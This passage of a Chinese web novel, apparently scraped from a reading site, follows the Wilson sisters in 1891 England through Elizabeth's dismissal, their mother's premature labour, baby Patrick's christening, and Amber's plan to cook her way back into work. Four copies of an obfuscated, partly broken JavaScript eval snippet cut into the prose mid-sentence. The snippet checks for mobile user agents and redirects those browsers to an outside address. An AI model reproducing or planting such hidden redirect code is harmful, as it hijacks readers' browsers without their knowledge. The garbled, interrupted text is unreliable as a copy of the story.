随着书房大门“砰”的一声重重关上，雕花门板彻底将两人隔绝在了两个世界。 罗拉太太留下负责善后工作，她着人拿来了伊丽莎白的私人物品。 作为管家，她对佣人们向来严苛，更是没少训斥过伊丽莎白。但她依然为对方感到可惜。明明拥有一份这么好的工作却不珍惜，难道是想去农场修道院做那些脏活累活吗？ “伊丽莎白，我很抱歉。”罗拉太太的声音带着一丝惋惜，“但作为管家，我必须对主人负责。现在你被辞退了，请你立刻离开赫伯庄园。” 女佣们不寒而栗。被赫伯庄园辞退，意味着失去体面的工作，失去稳定的收入，甚至再也找不到一份像样的工作。好在夫人足够仁慈，没有把人送去警察局。 伊丽莎白低着头，泪水再次夺眶而出，她不敢看罗拉太太的眼睛，只能机械地收拾着自己的东西，顶着一身凌乱的衣着，跌跌撞撞地从后门出了庄园，然后一头扎进了风雪之中。 “姑娘们，都听好了！”罗拉太太扫视着众人，眼神严厉，“都认清自己的身份，不要妄想不属于自己的东西。 “另外，我不希望在外面听到任何有关今天发生的事情。今天是赫伯庄园的大日子，现在请打起十二分的精神！” “是，罗拉太太。”女佣们齐声应道，鱼贯而出。 只留下罗拉太太站在原地，望着空荡荡的房间，良久才长叹一声。 * 午夜的钟声敲过，最后一批宾客的马车碾过结冰的碎石路，这场圣诞夜宴才终于落下帷幕。 今晚的炙烤鳗鱼成了全场焦点，鲜嫩的鱼肉裹着秘制酱料，香气四溢。不少女客举着银叉赞不绝口，甚至有人当场就问赫伯夫人讨要起了秘方。庄园的女主人狠狠地长脸，后半场宴会宾主尽欢。 莉莉却对晚上的风波浑然未觉，她满脸兴奋地跑来，想和安珀分享晚宴得到的打赏。而安珀只是心不在焉地应着，指尖反复摩挲着银质餐具。喧嚣后的平静，反而让她心中的不安像藤蔓般疯狂生长。 她婉拒了莫莉太太留下过夜的好意，一个人走向了黑暗中。 11. 早产 伊丽莎白小心翼翼地推开家门，暗自祈祷自己可以蒙混过关。 客厅的桌面上杯盘狼藉，预示着这里前不久有一场盛大的家庭聚餐。 “伊丽莎白？” 昏黄阴影里突然响起的男声如惊雷炸响，吓得伊丽莎白一个激灵。 “爸、爸爸……”伊丽莎白好不容易挤出一句称呼，先前想好的什么借口说辞，此刻统统忘得精光。 “你能告诉我，为什么、你是从外头回来的吗？” “啪嗒——”客厅的灯光骤然亮起，刺得人睁不开眼。 威尔逊先生端坐在客厅中央的沙发上，惨白的顶光将他高耸的眉骨投下大片的阴影，他目光锐利地锁定在女儿身上：“顺带解释一下，你这身……从哪来的？” “爸爸，我……”伊丽莎白下意识后退了两步，她望着父亲阴沉的面容，喉咙发紧：“对不起我不该偷跑出去都是我的错……” “我问你这身礼服是哪来的！”威尔逊先生猛地起身，壁炉的火焰随之剧烈摇晃，在他脸上投射出混乱的光影。 伊丽莎白吓得结巴：“是、是赫伯夫人送的。” “所以你还是去了圣诞舞会。你忘记我对你的警告了吗？ “不——” 然而再多的解释也是苍白的，威尔逊先生只相信自己看见的。他来回踱着步子，打量着大女儿的着装：“你这身料子起码值二十磅，她为什么会送礼物给你？回答我——” 如果说刚刚在书房被当众责难，伊丽莎白只觉得难堪、羞愧，那么此刻面对父亲的“审讯”，她又添了一分委屈。 这是父亲为了理查德第三次对她发火了，比过去十六年加起来还多。 “这、该不会……是你偷的吧？”威尔逊先生又惊又怒，上扬的尾音震得家里唯一的电灯微微晃动。 伊丽莎白死死咬住下唇，咸涩的血腥味在口中蔓延，泪水在眼眶里打转，却倔强地不肯落下。 听见响动，科琳带着双胞胎冲了下来，虽然她跟伊丽莎白一向不合，但此刻也顾不得这些了。 “爸爸，今天太晚了，大家都累了，有什么事明天再说不行吗？”科琳试图劝解。 贝拉躲在艾米丽身后，身体瑟瑟发抖，无声地啜泣着。 艾米丽则急忙上前拉住父亲的手臂：“爸爸，你别生气了，伊丽莎白肯定知道错了。” 然而，威尔逊先生正处在气头上，根本听不进任何劝解。 “我不是说过，除了安珀，谁都不准去赫伯庄园嘛！为什么还让她跑了出去？是谁把她放走的？”他的目光在几个女儿身上扫视，语气严厉。 四姐妹低着头，一言不发。 威尔逊先生讥讽道：“呵，翅膀长硬了，都学会阳奉阴违了！ “好，好的很呐，我这一生清清白白，竟养出你们这样叛逆的孩子！” 这声冷笑成了压垮伊丽莎白的最后一根稻草，积压了整晚的委屈与屈辱终于冲破了理智的防线。 她彻底爆发了，朝着威尔逊先生嘶吼：“别问了！是我！只有我！是我偷穿了夫人的礼裙跟理查德约会，结果被管家太太撞见告到了夫人那里！我爱理查德，他也爱我！我们为什么不能在一起？ “我受够了漏风的屋子，受够了穿人家的旧裙子！我不想为了生计到处奔波，也不想像妈妈一样伺候一家老小！”内心的不甘如决堤的洪水倾泻而出，伊丽莎白直视着眼前这个所谓父亲的男人，一字一顿道：“我只想过好日子，这有错吗？” 一番控诉只差把“是你无能”四个字甩到威尔逊先生脸上，将他作为一家之主的尊严撕得粉碎。 威尔逊先生气到极致，反而失语了，他脸得通红，脖颈青筋暴起：“强词夺理！你做出这样有辱家门的事情……” 巨大的争吵声惊动了楼上的玛利亚太太。她扶着隆起的腹部，艰难地走下楼。 看到大女儿满是泪痕的脸蛋，这位怀胎八月的母亲几乎是本能地冲上前，张开双臂将伊丽莎白护在身后。 “够了！”玛利亚太太朝丈夫喊道，她的声音因为激动而有些颤抖，“她已经知道错了，你就别再骂她了。她还是个孩子，一时糊涂而已。” 威尔逊先生看到妻子的举动，更加恼火：“你还护着她？她像你当年一样不知廉耻！” “詹姆，你说过不会再提这件事的！难道你已经后悔了吗？” “我当然不会后悔，但是伊丽莎白会变成今天这样，全都是因为你！” 两人你一言我一语，情绪越来越激动。 争吵间，玛利亚太太只觉得一阵强烈的腹痛袭来，膝盖一软险些栽倒，紧接着一股热流从下/体涌出。 周遭空气瞬间凝固，客厅众人像被按下了暂停键。 “妈妈，您怎么了？”伊丽莎白惊惶尖叫，她第一个反应过来，扑过去扶住母亲摇晃的身体。 玛利亚太太咬住牙齿，冷汗顺着鬓角滑落，她深吸一口气，试图平稳语气：“我没事，只怕是要生了，快把我扶到床上去。” 威尔逊先生这才意识到事情的严重性，他的愤怒瞬间被慌张所取代。 “玛利亚，你还好吗？ “快，快去请医生！”他冲着科琳喊道。 科琳不敢耽搁，立刻冒着风雪冲出门去。 家中一片慌乱，威尔逊先生横打抱起玛利亚太太上楼，然后把人慢慢放在床上，双胞胎吓得不知所措，亦步亦趋地跟在后头。 由于是受到刺激导致的早产，玛利亚太太发动得很快，豆大的汗珠顷刻间布满了额头，她紧紧地抓着床架上的扶手，强忍着宫缩的剧痛。 “妈妈，您再忍一忍，医生马上就来了。”伊丽莎白强忍泪水，安抚着母亲。 玛利亚太太微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542051|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微点头，她的嘴唇已经因为疼痛而变得苍白，又被咬破而泛出血丝。 “詹姆，你不要怪伊丽莎白了。”玛利亚太太缓了缓，再度祈求道。 “我答应！我什么都答应你！”威尔逊先生懊悔不已，他单膝跪在床边，握住妻子冰冷的手贴在自己脸上：“我不怪她了，玛利亚，你可一定要坚持住！” 时间仿佛被无限拉长，每一秒都充满了煎熬。 终于，科琳带着医生和助产护士匆匆赶回来。 医生是一位上了年纪的中年男性，他神色凝重，立刻开始为玛利亚太太检查。 “胎位不正，情况很危急，准备产钳，必须马上接生。”医生说完，就把大家都赶了出去。 房门被重重合上，威尔逊先生和女儿们只能在门外焦急地等待着，所有人的心都提到了嗓子眼。 玛利亚太太压抑的痛苦叫声，透过门缝传到每个人的耳边，每一声都揪着大家的心。 安珀回来时，正撞见这混乱又荒诞的一幕。 她脸色一变：“怎么突然要生了？” 无人应答。 双胞胎不知道该怎么叙述，她们毕竟才八岁，还不太明白到底发生了什么，妈妈痛苦的姿态把她们吓坏了。 安珀这才注意到角落里的伊丽莎白，对方竟然穿着一身礼服，凌乱却奢华，脖颈间佩戴的珠宝更是熠熠生辉。 最后还是科琳认命般地站了出来，三言两语把事情经过交代了。 盗窃、幽会、开除…… 悬在头顶一整晚的达摩克利斯之剑终于斩落，安珀只觉一阵天旋地转，耳畔都是嗡嗡的。 震惊与愤怒的情绪几乎要将她吞噬，这一刻她生吃了伊丽莎白的心都有了。 但此刻没有什么比人命更重要了，秋后算账什么的，还可以再说。安珀只能强压住心中的怒火，走到产房门外跟着众人一起等待。 * 产房外 除了心焦的双胞胎，伊丽莎白、科琳和安珀三人均心情复杂。伊丽莎白能感觉到安珀如芒在背的目光，后悔与自责的情绪在此刻到达了顶峰，但一切都已发生，说什么都晚了…… 突然，房内爆发出凄厉哭喊：“啊——我要不行了，詹姆——” 威尔逊先生猛地扑向门板，额头重重抵在雕花上，镜片后的双眼布满血丝。 “玛利亚——”他绝望地低吼着。 科琳紧紧抱住两个妹妹，仿佛能汲取到一些力量，姐妹三人闭上双眼默默祈祷。 “伊丽莎白，你一定要照顾好妹妹们！”虚弱的嘱托穿透门板，伊丽莎白踉跄着扶住墙壁，泪水再次夺眶而出。她贴着冰凉的橡木门板嘶声回应：“妈妈，我们都在外面呢，您一定要坚持住！”声音里混着哭腔，在空荡的走廊里回响。 不知过了多久，一声微弱的婴儿啼哭打破了紧张的气氛。 12. 帕特里克 助产护士抱着襁褓走了出来，她摘下口罩，露出一个和善的笑容：“是个男孩，母子平安！” 安珀掀了掀眼皮，草草地瞄了一眼，忙碌了一个白天加一个晚上，又守到天明，她感觉自己的心脏紧绷到了极点，大脑都麻木了。 还真是个男孩，这“耀祖”竟真的被威尔逊夫妇俩盼到了。 与她同感的还有伊丽莎白，情绪大起大落，又哭又喊了一整晚。 两人都没力气去抱这个新生的弟弟，最后还是科琳上前，接过了婴儿，支付了医生的费用，还给了助产护士不少打赏。 威尔逊先生膝盖一软跌坐在地，原本紧皱的眉头瞬间舒展开来，脸上露出了欣喜的笑容。 然而这份喜悦并没有持续太久。由于早产，婴儿十分虚弱，医生叮嘱要格外小心照顾。玛利亚太太也因为生产时的巨大消耗，陷入了昏迷当中。 威尔逊先生当即拿出冥思苦想已久的新生儿名字，郑重其事地向全家人宣布—— Patrick！ 帕特里克是一个常见的英文名字，它来源于拉丁语，其含义是“贵族”。 这样的名字与威尔逊家窘迫的经济状况显然并不相符，但安珀想或许这是英格兰版的望子成龙呢，故而并没有深思。 清晨，玛利亚太太终于醒来，她一脸慈爱地向着女儿们分享喜悦：“我怀过三个男孩，前两个都流产了，帕特里克是唯一活下来的。” “这是上天赐予我们家族的珍宝！看啊，他的眼睛像湖水一样清澈，皮肤像绸缎一样柔软！”素来感情内敛的威尔逊先生毫不吝啬他的赞美。 也不知道威尔逊先生究竟有没有抚摸过绸缎，这皱皱巴巴像小老头的孩子，皮肤怎么可能像绸缎一样呢？ 安珀开着小差，心不在焉地听着夫妇俩炫耀。 威尔逊夫妇最高兴自不用说，可还有不开心的人呢。 此人当然就是伊丽莎白了，作为威尔逊先生的第一个孩子，她暂时还不能接受自己已经不再是父母最宠爱的孩子了。 玛利亚太太平安生子，威尔逊先生也没有那么迁怒伊丽莎白了，他语气生硬地让大家回房休息。 “等一下——”威尔逊先生叫住了女儿们。 伊丽莎白目露期待地看向他：“爸爸，刚刚我……” “从明天开始，你从现在的房间搬出来。”威尔逊先生顿了顿，目光扫过伊丽莎白苍白的脸，“帕特里克是男孩子，不能和女孩子住在一起。你去和艾米丽、贝拉挤一挤，你是大姐，以后要好好照顾妹妹们。” 这话如同又一记重锤砸在伊丽莎白心上，她只觉眼前一黑，拼命掐着手掌才稳住身形。短暂的沉默后，她扯出一抹僵硬的笑，声音发颤：“我知道了，爸爸。” 没人看见转身时伊丽莎白藏在袖子里微微颤抖的手，和眼眶里打转却倔强不肯落下的泪水。 安珀也突然意识到，随着这个男孩的降生，自己往后的生活虽不至于变得凄惨，但生活质量肯定会降低。 没看见连伊丽莎白的特殊待遇都没了嘛。 看来自己还得尽早另做打算。 好消息是，威尔逊先生不再计较伊丽莎白的过失，只是惩罚她搬出自己的房间，加上新生儿诞生的喜悦，家里应该能风平浪静一阵子。 坏消息是，一晚上的惊心动魄让安珀险些都快忘了，伊丽莎白还捅了个大篓子！如今她被开除，独独留下自己承受来自赫伯夫人的怒火。 筋疲力竭的安珀，已无瑕思考这些，只希望经过两天休整以后，赫伯夫人可以消气，至少把这一周的工钱结给她。 她望向窗外皑皑白雪里透着的晨光，低声骂了一句： MDChristmas！ * “你的工作做得不错，这是夫人额外给你的赏钱，一共是四十先令。下次有机会的话，还会再找你的。” 安珀攥着微微发烫的硬币，沉默不语。她当然明白这只是罗拉太太委婉的说辞。实际就是，受到伊丽莎白的连累，她也被赫伯庄园辞退了。 好在名义上她只是临时工，且庄园上下对此事守口如瓶，好歹是保住了名声。 “谢谢您。”安珀垂眸行礼，声音低得几乎被壁炉的噼啪声盖过。 “你的厨艺非常棒……”罗拉太太欲言又止，她也没想到伊丽莎白居然是这位小姑娘的姐姐，更没想到自己的一时冲动，导致了这样的后果。 “我可以为你写一封推荐信，让你去利物浦工作。那里有很多贵族家庭正在寻找厨娘……如果你愿意的话。” 安珀思索了片刻，最终还是婉拒了。 伊丽莎白做出这样的事情，罗拉太太还能不计前嫌为她考虑，她已经很内疚了。如果还要搭上罗拉太太的人脉帮她找工作…… 而且她不确定威尔逊先生会不会放她离开，大概率是不会的。 * 从赫伯庄园回去以后，安珀将这四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542052|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十先令放进了饼干盒里。 谢天谢地，因为帕特里克的出生，原本就无人关注的自己，如今愈发像透明人一般，因而她这个小金库也得以保存。 想了想，安珀又拿出十先令当作伊丽莎白介绍工作的报酬，托艾米丽转交给她。反正她是不想再与伊丽莎白有任何接触了。 别说她这么大个人，用这样的方式针对一个小姑娘不厚道。她已经提前给伊丽莎白打过预防针了，对方还能做这样的事情，可见根本没有把自己和其他姐妹当成一家人。 自私自利、无法无天…… 最关键的是，自己好不容易谋划好的赚钱逃离威尔逊家的计划，现在只能被迫搁置。 安珀气得想呕血，这是她第一次体会到一个家族声誉的重要性，一荣俱荣，一损俱损。 但事已至此，多说无益。 至于接下来的路该怎么走，她自己也很迷茫。体会到付出劳动就能获得报酬的美好生活，她就不想待在家里过伸手要钱的日子了。 这场无声的战争，很快就被家中其他人察觉。除了神（毫）经（不）大（管）条（事）的威尔逊先生，和满心满眼只有儿子的玛利亚太太，其余姐妹都敏锐地捕捉到了空气中紧绷的氛围。 科琳反正向来是站在伊丽莎白的对立面，双胞胎虽然年纪小，但艾米丽作为大的那个更机灵，她也敏锐感知到了大姐的所作所为是不对的，因而她也带着贝拉向安珀靠拢。 姐妹们都没意识到，她们开始隐隐以安珀为首了。 与此同时，伊丽莎白在家中的地位也一落千丈。 以前她总仗着大姐的身份，对三个妹妹呼来喝去，因为有工作的缘故，家里的家务活也是完全不需要做的，如今玛利亚太太身体未愈，她只能被迫承担起照顾帕特里克的任务。 这样的日子才过了一周，伊丽莎白就后悔了，照顾一个新生儿实在是太累了，跟赫伯府的轻松工作比，简直是天上地下。 她再一次意识到自己失去了什么。 而且她也不得不承认，在这件事上，自己无形中连累了无辜的家人们，尤其是安珀还因此失去了工作。可话道歉的话到了嘴边又咽了回去，骄傲与倔强让她迟迟无法迈出第一步。 伊丽莎白最终还是没有收那十先令。 安珀自己也缺钱，对方不要她自然不会强塞，重新将钱放进了饼干盒里。 距离二十磅的目标，还差整整十八磅，攒钱之路漫漫呐。 13. 洗礼 安珀离开赫伯庄园以后，莉莉倒是来过威尔逊家两次。 她给安珀带来了莫莉太太烤的小蛋糕和小饼干，言语间有安慰，也有期待安珀重新回去工作的意思。 安珀却婉拒了这份好意。一个自然是赫伯夫人的态度，对方此刻恐怕厌烦死她们姐妹了。还有一个她不好意思承认的是，自己脸皮薄，实在不知道该如何面对昔日的同事。 但经过此事，消沉了一阵的安珀也准备重整旗鼓了。 虽然暂时还没找到方向，但日子总得过下去不是嘛。 反正自己会厨艺的秘密也暴露了，安珀索性也不瞒着了—— 她决定正式插手威尔逊家厨房，重新定制饮食计划，把全家从无尽的炖鳗鱼鹰嘴豆里解脱出来。 五姐妹正在长身体，得多吃肉蛋奶。玛利亚太太是产妇，需要补充全面的营养来促进身体恢复和保证乳汁分泌，得多吃内脏和红肉。 至于威尔逊先生…… 他的意见很重要吗？ 这样做的后果就是，全家人都肉眼可见地圆润了一圈。不仅如此，厨房飘出的阵阵香味，还常常引得邻居们频频登门拜访，一探究竟。 最捧场的当属科琳，她不仅光盘，还总是不吝溢美之词，把厨房的“掌勺人”哄得心花怒放。 对此，安珀时常扼腕叹息：可惜没有炒锅，好多菜都做不出来，不然高低让中华料理给这帮洋人好好上一课。 * 时间转眼来到1891年1月底，戈恩的寒风依旧凛冽，小帕特里克终于满月了。 威尔逊先生兴奋极了，他一早就给爱子准备了一场盛大的洗礼，这是五姐妹都没有过的待遇。 往日总嫌麻烦的他，竟破天荒地亲自登门拜访每一位邻居。此外，他还精心撰写了邀请函，邀请同事好友来参加儿子的洗礼——这场洗礼，俨然成了他向全镇宣告继承人诞生的盛大典礼。 安珀看着请柬，啧啧称奇，她还是第一次知道，原来威尔逊家的社交居然这么广。 洗礼当日，在晨光尚未穿透云层时，威尔逊先生就已经将祖传的银质怀表揣进马甲口袋了。他还不知从哪里找来了一件精致的米色婴儿裙，裙摆有足足八层的蕾丝褶边，小心翼翼给帕特里克穿上。 满月的帕特里克褪去了初生时的皱皱巴巴，小脑袋被蕾丝风帽包裹着，瓷白的脸蛋泛着淡淡红晕，像一只暄软的白吐司，安静地躺在铺着鹅绒毯的摇篮里，只是不似别的婴儿般活泼。① 当然，威尔逊先生也没忘了五个女儿，给她们每人都准备了一件小礼服。 这是流行于维多利亚时代晚期到二十世纪中期的水手服风格的礼服，通身由A字版型的藏蓝色绸缎制成，领子和袖口均是蓝色条纹的水手领，珍珠贝母色的双排扣在晨光中泛着微光，既显端庄又显身材。② 安珀摸着崭新的裙摆，心里五味杂陈，原生长这么大第一次穿新裙子，却还是因为这个刚出生的弟弟。 一切准备就绪，五姐妹簇拥着威尔逊夫妇和婴儿车里的帕特里克朝着圣沐戈教堂出发。 老爱德华牧师热情地接待了她们一家人，嘴里的祝福语跟不要钱似的，由此可见威尔逊先生为了这场洗礼下了多大的本钱。 安珀跟在大人们身后，悄悄探身朝牧师身后张望，目光下意识在人群里搜寻那道熟悉的身影，可惜未能如愿。 随着管风琴演奏的圣歌缓缓流淌，仪式很快就开始了。 威尔逊先生抱着裹在缎面里的帕特里克，在众亲朋好友的见证下，走到耶稣画像前。 老爱德华牧师手持黄铜圣水壶，银白的胡须随着吟诵微微颤动。当冰凉的圣水触及额头时，襁褓里小婴儿这才睁开雾蒙蒙的蓝眼睛，发出幼猫叫似的哭声。 “愿主护佑这新生的灵魂。”老爱德华牧师话音未落，后排宾客已窸窸窣窣议论起来。 “这孩子的哭声怎么这么弱？”邻居太太伸长脖子，盯着襁褓里的帕特里克，脸上露出担忧的神色，“瞧他的小脸，一点血色都没有，呼吸也轻飘飘的，难道是先天不足？” “据说是早产。从进门就闭着眼，几乎是睡了整场仪式。”她身旁的丈夫挠了挠头，语气里带着疑惑，“我可从没见过这么安静的婴儿，别家孩子受洗时，哪个不是哭得震天响。” “小声些！”坐在过道边的中年男子压低声音，朝前方努了努嘴，“詹姆盼了多少年才得这么个儿子。” “可不是，”邻居太太收回目光，轻轻摇头，“不管怎么说，他总算是得偿所愿了。” 五姐妹坐在第一排，听得一清二楚。科琳的脾气是最直的，忍不住就要回头打断他们，好好理论一番，她刚要抬脚，腕子突然被安珀冰凉的手指扣住了。 安珀自然也听到了，但眼下却不是冲动的时候，她低声警告道：“你还要跟他们吵一架不成？” 科琳只好悻悻坐了回去。 洗礼结束后，宾客们簇拥着威尔逊一家来到教堂外的草坪。 威尔逊先生花了十磅提前遣人布置了场地，搭建了几座的白色亚麻帐篷，周边围了一圈覆盖了蕾丝的花园椅。 五姐妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542053|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着玛利亚太太为这场典礼一起准备了水果、蛋糕和酒水。 安珀粗略算算，为了这场洗礼，威尔逊先生起码花费了好几十磅。 威尔逊先生这是把半副身家都搭进去了，以后的日子不过了？ 自己竟从不知他还有这样慷慨的一面。 可是作为孩子，终究是没有话语权的，安珀也只能在心底质疑一下。 当然宴会效果还是极好的，银质托盘盛着香槟与小点心，水晶杯碰撞的清脆声响与欢声笑语交织在一起。 这使得威尔逊先生的虚荣心在此刻到达了空前的高度。 仪式过后，威尔逊先生还找来了镇上有名的摄影师，给全家拍摄全家福，五姐妹和刚出生的帕特里克还有额外的单独合影。 这是全家第一次拍照，双胞胎格外的兴奋，不停地整理裙摆，叽叽喳喳说个不停，伊丽莎白却提不起劲，意兴阑珊地站在一旁发呆。 老实说，她最近很老实，安珀都有些心软了，但安珀并不打算那么轻易原谅对方。 俗话说：人教人教不会，事教人一次就会。 安珀希望伊丽莎白能谨记教训。 * 洗礼结束以后，一家人再度恢复到了之前的生活。可别看只是多添了一口人，家里的生活状态都不一样了。 每日婴儿的啼哭声暂且不说，玛利亚太太现在是有子万事足的状态，全身心投入到儿子的抚育中，分给五姐妹的关心自然而然就少了。为了更好的哺乳休息，她也不像之前那么拼命干家务了。 家庭琐事不得不分摊到了姐妹四人头上。 可看着双胞胎瘦弱的身躯需要承担那么多家务，安珀总是于心不忍，在做完全家人的三餐之后，还会帮她们干一些活，有时候科琳也会帮忙。 往往一天下来就精疲力尽，躺在床上连脑子都不想动了，更别提什么攒钱计划了。 这样下去不是办法，安珀意识到。她必须得重新找份工作，从繁重家务活儿里解脱出来。 这年头适合她这样的小姑娘工作并不多，还是在乡村里——报童、纺织女工、裁缝学徒、家庭教师……和女佣。 前者每周工资大约在五到十先令，能赚到大钱的工作几乎没有。 至于后者，戈恩有钱人也不多，哪怕雇佣她，也不会给她小孩子成年厨娘的薪资。 这样想来，赫伯庄园竟成了最好的去处。 她还要再回去吗？人家还会要她吗？ 安珀正踟蹰着，莉莉倒是过来了，给她带来了一个千载难逢的机遇。 14. 重返岗位 这是莉莉第三次到安珀家来了，现在的她，已经可以用平常心面对这栋精致的乡间别墅了。毕竟每次过来，自己都可以得到安珀的精心指点，受到了罗拉太太称赞的同时，也提高了自己的本领。 安珀于她，亦师亦友，而她也绝不是小肚鸡肠的人。 “莉莉——” 清亮的呼唤穿透暮色打断了莉莉的思索，抬眼望去，一位少女正倚在篱笆旁挥舞着白色头巾，她的发丝被晚风撩起几缕金芒，柔美又生动。 莉莉攥紧裙摆，踩着碎石小径轻快地跑过去。 莉莉前来拜访，安珀自然高兴。算起来，她还是自己在这个时代的第一个朋友呢。 在农场一角，安珀布置了一个喝下午茶的角落，供科琳短暂休憩。今天莉莉过来，她选择避开家里的喧闹在这里招待对方。 木制的折叠桌上早已铺好雏菊纹桌布，红泥茶壶①正氤氲着锡兰红茶的醇香。莉莉也不问，熟稔地掀开饼干盒，拈起块深褐色的糕点便津津有味地吃了起来，脆香的饼渣在齿间发出细碎声响。 “这是什么？居然是咸的？”莉莉含着饼干瞪圆眼睛，焦糖色的碎屑还沾在唇角。 安珀拿了块手帕帮她擦了擦：“这叫鸡仔饼，是我老家……呃，是我偶然听说的一种来自东方的饼干。” “安珀，你总是那么聪慧，能研究出那么多新奇的小吃。”莉莉又羡慕又感慨。 她自然不会把安珀的话当真。她在赫伯府负责厨房采购，经常同莫莉太太上街，怎么她就听不到什么东方小饼干。 还不是安珀比自己聪明的缘故？ 好友之间的聊天内容无外乎家长里短和生活琐事，还有莉莉个人对于工作的吐槽，言语间免不了谈及那位格雷小姐。 安珀唇角噙着抹无奈的笑意，往莉莉的茶杯里续了点红茶：“她又怎么招你惹你了？” “安珀——”莉莉轻吼一声，朝着安珀扑去，直到对方连连讨饶，她这才气鼓鼓地继续说下去：“格雷小姐也太傲慢了！你是没瞧见她那副作派，莫莉太太精心准备的晚餐，她嫌调味太重；现烤的司康，她嫌黄油不够香；日日在夫人跟前撒娇，非要厨房重做！” “能理解，毕竟是男爵家的千金，总不能怠慢。” “何止啊，就连她带来的四个婢女也能随意支使我们，话里话外看不上我们赫伯府。”莉莉气呼呼地抹了把嘴。 “这确实是她们的不对。” 得到认同的莉莉顿时眉开眼笑，伸手又去够饼干盒。安珀见她吃得香甜，取了个藤编食盒，将剩余点心仔细包好。 “照你这么说，难道夫人就由着她胡闹？” “可不就是——”莉莉看着安珀恬静的侧颜，一下子泄了气，声音也连带着软了下来：“安珀，你可真好，我会把饼干带给莫莉太太，她一定会很高兴。” “其实，我还打听到了点内幕！”莉莉突然压低声音，神神秘秘地往安珀身边凑：“夫人之所以对格雷小姐如此宽容，其实是想撮合她和少爷呢！ “我的上帝，现在厨房都乱成一锅粥了，万一格雷小姐真的成为庄园新女主人，那我、那我一定会疯的！” 安珀虽然早就猜到了这件事，但此刻听到莉莉的话，还是免不了心里一紧：“那少爷呢，他是什么反应？” “他能是什么反应？赫伯家不过是商人，格雷小姐却是男爵之女，以少爷的家世背景能娶到贵族家的千金恐怕要烧高香了！”话音刚落，莉莉才意识到自己失言，立马道歉：“安珀，我没那个意思……” “没关系。”安珀自然知道莉莉是有口无心，她只是可惜伊丽莎白真心错付，为了一个男人做下错事，除了落得被辞退的下场，什么也没得到。 安珀压下心底翻涌的叹息，转而握住莉莉手腕轻轻摇晃：“你呀，还知道她是男爵千金，以后这样的话可万万不能再说了，小心隔墙有耳！” “我只在你面前说说，其他人，我自有分寸！”莉莉吃着饼干乐呵呵地笑着。 男爵千金？百般讨好？ 安珀指尖无意识叩着桌面，电光火石间，一个念头突然从脑海中炸开—— 既然赫伯夫人铁了心要捧着格雷小姐，而厨房又忙得焦头烂额，那自己何不趁机抓住机会？ “莉莉。”安珀突然抓住对面的手腕，目光灼灼道：“你能帮我个忙吗？” “当然，只要我能做到！” “我想试试，就试一次。” 此刻安珀已经顾不上什么上赶着的买卖不是买卖了，她只希望自己的厨艺得到价值，是一种经济变现，而不是耗费在威尔逊家无休无止的家务中。 这是唯一一次机会！ * 到底要做什么样的料理，才能既有新意又贴合西方人的口味？ 安珀挑了挑灯芯，一遍又一遍地翻看着莉莉送来的小册子。上面记录了这一个月以来，莫莉太太做过的所有菜品和每道菜的剩余。 平心而论，格雷小姐并不是一个挑食的人，莫莉太太做的每道菜，她都有品尝。 也是，莫莉太太出身男爵府，那菜系自然与格雷小姐从小吃到大的没什么差别。既然菜单手艺没有任何问题，那就只有一种可能——没有新意。 毕竟莫莉太太已经离开男爵府近二十年了，时代变迁，年轻人的口味早就不同了。 而什么都吃，看似范围很广，实则毫无重点。 毕竟再不挑食的人，也总得有偏爱吧。 安珀在脑海里回忆前世那些老外最爱点的外卖。西方人爱的中华料理，无外乎麻婆豆腐、宫保鸡丁、鱼香肉丝，但她本身并不擅长川菜，恐怕难以复刻其精妙，而且没有炒锅，这些菜都是做不成的。 如果要招待格雷小姐，那必须得是一道群众接受度很高的，食材相对简单的（能在英格兰找到的）却不能低级的料理。最关键的是，要能在烹饪工具有限的情况下做出来。 因此，英国骚猪被第一个排除。 剩下的就是家禽、牛羊肉和海鲜。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542054|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在英国家禽中，鸭鹅普及程度又不如鸡，所以鸭肉鹅肉也要排除。 海鲜则是戈恩最容易获取的食材，安珀脑海里瞬间就冒出了好几道菜。 蒜蓉粉丝蒸扇贝？呃，没有粉丝…… 